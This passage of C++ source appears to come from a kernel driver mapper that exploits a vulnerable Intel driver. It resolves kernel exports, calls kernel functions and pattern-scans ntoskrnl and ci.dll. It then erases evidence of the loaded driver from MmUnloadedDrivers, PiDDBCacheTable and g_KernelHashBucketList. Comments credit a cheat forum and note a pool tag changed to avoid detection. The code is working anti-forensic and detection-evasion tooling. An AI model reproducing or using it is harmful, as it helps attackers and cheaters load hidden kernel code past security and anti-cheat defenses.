kdmLog(L"[!] Failed to find ExAllocatePool" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
uint64_t allocated_pool = 0;
|
|
|
|
if (!CallKernelFunction(&allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
|
|
return 0;
|
|
|
|
return allocated_pool;
|
|
}
|
|
|
|
bool intel_driver::FreePool(uint64_t address) {
|
|
if (!address)
|
|
return 0;
|
|
|
|
static uint64_t kernel_ExFreePool = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExFreePool");
|
|
|
|
if (!kernel_ExFreePool) {
|
|
kdmLog(L"[!] Failed to find ExAllocatePool" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
return CallKernelFunction<void>(nullptr, kernel_ExFreePool, address);
|
|
}
|
|
|
|
uint64_t intel_driver::GetKernelModuleExport(uint64_t kernel_module_base, const std::string& function_name) {
|
|
if (!kernel_module_base)
|
|
return 0;
|
|
|
|
IMAGE_DOS_HEADER dos_header = { 0 };
|
|
IMAGE_NT_HEADERS64 nt_headers = { 0 };
|
|
|
|
if (!ReadMemory(kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
|
|
!ReadMemory(kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
|
return 0;
|
|
|
|
const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
|
|
|
if (!export_base || !export_base_size)
|
|
return 0;
|
|
|
|
const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
|
|
if (!ReadMemory(kernel_module_base + export_base, export_data, export_base_size))
|
|
{
|
|
VirtualFree(export_data, 0, MEM_RELEASE);
|
|
return 0;
|
|
}
|
|
|
|
const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;
|
|
|
|
const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
|
|
const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
|
|
const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
|
|
|
|
for (auto i = 0u; i < export_data->NumberOfNames; ++i) {
|
|
const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));
|
|
|
|
if (!_stricmp(current_function_name.c_str(), function_name.c_str())) {
|
|
const auto function_ordinal = ordinal_table[i];
|
|
if (function_table[function_ordinal] <= 0x1000) {
|
|
// Wrong function address?
|
|
return 0;
|
|
}
|
|
const auto function_address = kernel_module_base + function_table[function_ordinal];
|
|
|
|
if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) {
|
|
VirtualFree(export_data, 0, MEM_RELEASE);
|
|
return 0; // No forwarded exports on 64bit?
|
|
}
|
|
|
|
VirtualFree(export_data, 0, MEM_RELEASE);
|
|
return function_address;
|
|
}
|
|
}
|
|
|
|
VirtualFree(export_data, 0, MEM_RELEASE);
|
|
return 0;
|
|
}
|
|
|
|
bool intel_driver::ClearMmUnloadedDrivers() {
|
|
ULONG buffer_size = 0;
|
|
void* buffer = nullptr;
|
|
|
|
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
|
|
|
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
if (buffer != nullptr)
|
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
|
|
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
|
|
}
|
|
|
|
if (!NT_SUCCESS(status) || buffer == nullptr)
|
|
{
|
|
if (buffer != nullptr)
|
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
|
return false;
|
|
}
|
|
|
|
uint64_t object = 0;
|
|
|
|
auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
|
|
|
|
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
|
|
{
|
|
const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
|
|
|
|
if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
|
|
continue;
|
|
|
|
if (current_system_handle.HandleValue == hDevice)
|
|
{
|
|
object = reinterpret_cast<uint64_t>(current_system_handle.Object);
|
|
break;
|
|
}
|
|
}
|
|
|
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
|
|
|
if (!object)
|
|
return false;
|
|
|
|
uint64_t device_object = 0;
|
|
|
|
if (!ReadMemory(object + 0x8, &device_object, sizeof(device_object)) || !device_object) {
|
|
kdmLog(L"[!] Failed to find device_object" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
uint64_t driver_object = 0;
|
|
|
|
if (!ReadMemory(device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) {
|
|
kdmLog(L"[!] Failed to find driver_object" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
uint64_t driver_section = 0;
|
|
|
|
if (!ReadMemory(driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) {
|
|
kdmLog(L"[!] Failed to find driver_section" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
UNICODE_STRING us_driver_base_dll_name = { 0 };
|
|
|
|
if (!ReadMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) {
|
|
kdmLog(L"[!] Failed to find driver name" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
auto unloadedName = std::make_unique<wchar_t[]>((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL);
|
|
if (!ReadMemory((uintptr_t)us_driver_base_dll_name.Buffer, unloadedName.get(), us_driver_base_dll_name.Length)) {
|
|
kdmLog(L"[!] Failed to read driver name" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver
|
|
|
|
if (!WriteMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) {
|
|
kdmLog(L"[!] Failed to write driver name length" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
kdmLog(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);
|
|
return true;
|
|
}
|
|
|
|
PVOID intel_driver::ResolveRelativeAddress(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) {
|
|
ULONG_PTR Instr = (ULONG_PTR)Instruction;
|
|
LONG RipOffset = 0;
|
|
if (!ReadMemory(Instr + OffsetOffset, &RipOffset, sizeof(LONG))) {
|
|
return nullptr;
|
|
}
|
|
PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset);
|
|
return ResolvedAddr;
|
|
}
|
|
|
|
bool intel_driver::ExAcquireResourceExclusiveLite(PVOID Resource, BOOLEAN wait) {
|
|
if (!Resource)
|
|
return 0;
|
|
|
|
static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite");
|
|
|
|
if (!kernel_ExAcquireResourceExclusiveLite) {
|
|
kdmLog(L"[!] Failed to find ExAcquireResourceExclusiveLite" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
BOOLEAN out;
|
|
|
|
return (CallKernelFunction(&out, kernel_ExAcquireResourceExclusiveLite, Resource, wait) && out);
|
|
}
|
|
|
|
bool intel_driver::ExReleaseResourceLite(PVOID Resource) {
|
|
if (!Resource)
|
|
return false;
|
|
|
|
static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExReleaseResourceLite");
|
|
|
|
if (!kernel_ExReleaseResourceLite) {
|
|
kdmLog(L"[!] Failed to find ExReleaseResourceLite" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
return CallKernelFunction<void>(nullptr, kernel_ExReleaseResourceLite, Resource);
|
|
}
|
|
|
|
BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(PVOID Table, PVOID Buffer) {
|
|
if (!Table)
|
|
return false;
|
|
|
|
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl");
|
|
|
|
if (!kernel_RtlDeleteElementGenericTableAvl) {
|
|
kdmLog(L"[!] Failed to find RtlDeleteElementGenericTableAvl" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
bool out;
|
|
return (CallKernelFunction(&out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer) && out);
|
|
}
|
|
|
|
PVOID intel_driver::RtlLookupElementGenericTableAvl(nt::PRTL_AVL_TABLE Table, PVOID Buffer) {
|
|
if (!Table)
|
|
return nullptr;
|
|
|
|
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "RtlLookupElementGenericTableAvl");
|
|
|
|
if (!kernel_RtlDeleteElementGenericTableAvl) {
|
|
kdmLog(L"[!] Failed to find RtlLookupElementGenericTableAvl" << std::endl);
|
|
return nullptr;
|
|
}
|
|
|
|
PVOID out;
|
|
|
|
if (!CallKernelFunction(&out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer))
|
|
return 0;
|
|
|
|
return out;
|
|
}
|
|
|
|
|
|
nt::PiDDBCacheEntry* intel_driver::LookupEntry(nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t * name) {
|
|
|
|
nt::PiDDBCacheEntry localentry{};
|
|
localentry.TimeDateStamp = timestamp;
|
|
localentry.DriverName.Buffer = (PWSTR)name;
|
|
localentry.DriverName.Length = (USHORT)(wcslen(name) * 2);
|
|
localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2;
|
|
|
|
return (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(PiDDBCacheTable, (PVOID)&localentry);
|
|
}
|
|
|
|
bool intel_driver::ClearPiDDBCacheTable() { //PiDDBCacheTable added on LoadDriver
|
|
|
|
#ifdef PDB_OFFSETS
|
|
auto PiDDBLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBLock");
|
|
if (!PiDDBLockOffset)
|
|
{
|
|
kdmLog(L"[-] Warning PiDDBLock not found" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
auto PiDDBCacheTableOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBCacheTable");
|
|
if (!PiDDBCacheTableOffset)
|
|
{
|
|
kdmLog(L"[-] Warning PiDDBCacheTable not found" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
PVOID PiDDBLock = (PVOID)(intel_driver::ntoskrnlAddr + PiDDBLockOffset);
|
|
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)(intel_driver::ntoskrnlAddr + PiDDBCacheTableOffset);
|
|
#else
|
|
auto PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132
|
|
auto PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx"); // 66 03 D2 48 8D 0D
|
|
|
|
if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as possible
|
|
PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now)
|
|
if (PiDDBLockPtr == NULL) {
|
|
PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xB2\x01\x66\xFF\x88\x00\x00\x00\x00\x90\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????xx????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 48 8D 0D ? ? ? ? B2 01 66 FF 88 ? ? ? ? 90 E8 ? ? ? ? 4C 8B ? 24 update for build 26100.1000
|
|
if (PiDDBLockPtr == NULL) {
|
|
kdmLog(L"[-] Warning PiDDBLock not found" << std::endl);
|
|
return false;
|
|
}
|
|
else {
|
|
kdmLog(L"[+] PiDDBLock found with third pattern" << std::endl);
|
|
PiDDBLockPtr += 19;//third pattern offset
|
|
}
|
|
}
|
|
else {
|
|
kdmLog(L"[+] PiDDBLock found with second pattern" << std::endl);
|
|
PiDDBLockPtr += 16; //second pattern offset
|
|
}
|
|
}
|
|
else {
|
|
PiDDBLockPtr += 28; //first pattern offset
|
|
}
|
|
|
|
if (PiDDBCacheTablePtr == NULL) {
|
|
PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\xF9\x33\xC0\x48\x8D\x0D", "xxxxxxxx"); // 48 8B F9 33 C0 48 8D 0D
|
|
if (PiDDBCacheTablePtr == NULL) {
|
|
kdmLog(L"[-] Warning PiDDBCacheTable not found" << std::endl);
|
|
return false;
|
|
}
|
|
else {
|
|
kdmLog(L"[+] PiDDBCacheTable found with second pattern" << std::endl);
|
|
PiDDBCacheTablePtr += 2;//second pattern offset
|
|
}
|
|
}
|
|
|
|
kdmLog("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
|
|
kdmLog("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
|
|
|
|
PVOID PiDDBLock = ResolveRelativeAddress((PVOID)PiDDBLockPtr, 3, 7);
|
|
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)ResolveRelativeAddress((PVOID)PiDDBCacheTablePtr, 6, 10);
|
|
#endif
|
|
//context part is not used by lookup, lock or delete why we should use it?
|
|
|
|
if (!ExAcquireResourceExclusiveLite(PiDDBLock, true)) {
|
|
kdmLog(L"[-] Can't lock PiDDBCacheTable" << std::endl);
|
|
return false;
|
|
}
|
|
kdmLog(L"[+] PiDDBLock Locked" << std::endl);
|
|
|
|
auto n = GetDriverNameW();
|
|
|
|
auto timestamp = portable_executable::GetNtHeaders((void*)intel_driver_resource::driver)->FileHeader.TimeDateStamp;
|
|
|
|
// search our entry in the table
|
|
nt::PiDDBCacheEntry* pFoundEntry = (nt::PiDDBCacheEntry*)LookupEntry(PiDDBCacheTable, timestamp, n.c_str());
|
|
if (pFoundEntry == nullptr) {
|
|
kdmLog(L"[-] Not found in cache" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
|
|
// first, unlink from the list
|
|
PLIST_ENTRY prev;
|
|
if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) {
|
|
kdmLog(L"[-] Can't get prev entry" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
PLIST_ENTRY next;
|
|
if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) {
|
|
kdmLog(L"[-] Can't get next entry" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
|
|
kdmLog("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);
|
|
|
|
if (!WriteMemory((uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) {
|
|
kdmLog(L"[-] Can't set next entry" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
if (!WriteMemory((uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) {
|
|
kdmLog(L"[-] Can't set prev entry" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
|
|
// then delete the element from the avl table
|
|
if (!RtlDeleteElementGenericTableAvl(PiDDBCacheTable, pFoundEntry)) {
|
|
kdmLog(L"[-] Can't delete from PiDDBCacheTable" << std::endl);
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
return false;
|
|
}
|
|
|
|
//Decrement delete count
|
|
ULONG cacheDeleteCount = 0;
|
|
ReadMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
|
|
if (cacheDeleteCount > 0) {
|
|
cacheDeleteCount--;
|
|
WriteMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
|
|
}
|
|
|
|
// release the ddb resource lock
|
|
ExReleaseResourceLite(PiDDBLock);
|
|
|
|
kdmLog(L"[+] PiDDBCacheTable Cleaned" << std::endl);
|
|
|
|
return true;
|
|
}
|
|
|
|
uintptr_t intel_driver::FindPatternAtKernel(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) {
|
|
if (!dwAddress) {
|
|
kdmLog(L"[-] No module address to find pattern" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB
|
|
kdmLog(L"[-] Can't find pattern, Too big section" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
auto sectionData = std::make_unique<BYTE[]>(dwLen);
|
|
if (!ReadMemory(dwAddress, sectionData.get(), dwLen)) {
|
|
kdmLog(L"[-] Read failed in FindPatternAtKernel" << std::endl);
|
|
return 0;
|
|
}
|
|
|
|
auto result = kdmUtils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask);
|
|
|
|
if (result <= 0) {
|
|
return 0;
|
|
}
|
|
result = dwAddress - (uintptr_t)sectionData.get() + result;
|
|
return result;
|
|
}
|
|
|
|
uintptr_t intel_driver::FindSectionAtKernel(const char* sectionName, uintptr_t modulePtr, PULONG size) {
|
|
if (!modulePtr)
|
|
return 0;
|
|
BYTE headers[0x1000];
|
|
if (!ReadMemory(modulePtr, headers, 0x1000)) {
|
|
kdmLog(L"[-] Can't read module headers" << std::endl);
|
|
return 0;
|
|
}
|
|
ULONG sectionSize = 0;
|
|
uintptr_t section = (uintptr_t)kdmUtils::FindSection(sectionName, (uintptr_t)headers, §ionSize);
|
|
if (!section || !sectionSize) {
|
|
kdmLog(L"[-] Can't find section" << std::endl);
|
|
return 0;
|
|
}
|
|
if (size)
|
|
*size = sectionSize;
|
|
return section - (uintptr_t)headers + modulePtr;
|
|
}
|
|
|
|
uintptr_t intel_driver::FindPatternInSectionAtKernel(const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) {
|
|
ULONG sectionSize = 0;
|
|
uintptr_t section = FindSectionAtKernel(sectionName, modulePtr, §ionSize);
|
|
return FindPatternAtKernel(section, sectionSize, bMask, szMask);
|
|
}
|
|
|
|
bool intel_driver::ClearKernelHashBucketList() {
|
|
uint64_t ci = kdmUtils::GetKernelModuleAddress("ci.dll");
|
|
if (!ci) {
|
|
kdmLog(L"[-] Can't Find ci.dll module address" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
//Thanks @KDIo3 and @Swiftik from UnknownCheats
|
|
#ifdef PDB_OFFSETS
|
|
auto g_KernelHashBucketListOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_KernelHashBucketList");
|
|
if (!g_KernelHashBucketListOffset)
|
|
{
|
|
kdmLog(L"[-] Can't Find g_KernelHashBucketList Offset" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
auto g_HashCacheLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_HashCacheLock");
|
|
if (!g_HashCacheLockOffset)
|
|
{
|
|
kdmLog(L"[-] Can't Find g_HashCacheLock Offset" << std::endl);
|
|
return false;
|
|
}
|
|
|
|
PVOID g_KernelHashBucketList = (PVOID)(ci + g_KernelHashBucketListOffset);
|
|
PVOID g_HashCacheLock = (PVOID)(ci + g_HashCacheLockOffset);
|
|
#else
|
|
auto sig = FindPatternInSectionAtKernel("PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx");
|
|
if (!sig) {
|
|
kdmLog(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
|
|
return false;
|
|
}
|
|
auto sig2 = FindPatternAtKernel((uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx");
|
|
if (!sig2) {
|
|
kdmLog(L"[-] Can't Find g_HashCacheLock" << std::endl);
|
|
return false;
|
|
}
|
|
const auto g_KernelHashBucketList = ResolveRelativeAddress((PVOID)sig, 3, 7);
|
|
const auto g_HashCacheLock = ResolveRelativeAddress((PVOID)sig2, 3, 7);
|
|
if (!g_KernelHashBucketList || !g_HashCacheLock)
|
|
{
|
|
kdmLog(L"[-] Can't Find g_HashCache relative address" << std::endl);
|
|
return false;
|
|
}
|
|
#endif
|
|
|
|
kdmLog(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
|
|
|
|
if (!ExAcquireResourceExclusiveLite(g_HashCacheLock, true)) {
|
|
kdmLog(L"[-] Can't lock g_HashCacheLock" << std::endl);
|
|
return false;
|
|
}
|
|
kdmLog(L"[+] g_HashCacheLock Locked" << std::endl);
|
|
|
|
nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList;
|
|
nt::HashBucketEntry* entry = 0;
|
|
if (!ReadMemory((uintptr_t)prev, &entry, sizeof(entry))) {
|
|
kdmLog(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
if (!entry) {
|
|
kdmLog(L"[!] g_KernelHashBucketList looks empty!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return true;
|
|
}
|
|
|
|
std::wstring wdname = GetDriverNameW();
|
|
std::wstring search_path = GetDriverPath();
|
|
SIZE_T expected_len = (search_path.length() - 2) * 2;
|
|
|
|
while (entry) {
|
|
|
|
USHORT wsNameLen = 0;
|
|
if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) {
|
|
kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
if (expected_len == wsNameLen) {
|
|
wchar_t* wsNamePtr = 0;
|
|
if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
|
|
kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
auto wsName = std::make_unique<wchar_t[]>((ULONG64)wsNameLen / 2ULL + 1ULL);
|
|
if (!ReadMemory((uintptr_t)wsNamePtr, wsName.get(), wsNameLen)) {
|
|
kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
size_t find_result = std::wstring(wsName.get()).find(wdname);
|
|
if (find_result != std::wstring::npos) {
|
|
kdmLog(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl);
|
|
nt::HashBucketEntry* Next = 0;
|
|
if (!ReadMemory((uintptr_t)entry, &Next, sizeof(Next))) {
|
|
kdmLog(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
if (!WriteMemory((uintptr_t)prev, &Next, sizeof(Next))) {
|
|
kdmLog(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
if (!FreePool((uintptr_t)entry)) {
|
|
kdmLog(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
kdmLog(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
prev = entry;
|
|
//read next
|
|
if (!ReadMemory((uintptr_t)entry, &entry, sizeof(entry))) {
|
|
kdmLog(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl);
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
|
|
if (!ExReleaseResourceLite(g_HashCacheLock)) {
|
|
kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
|
|
}
|
|
return false;
|
|
}
|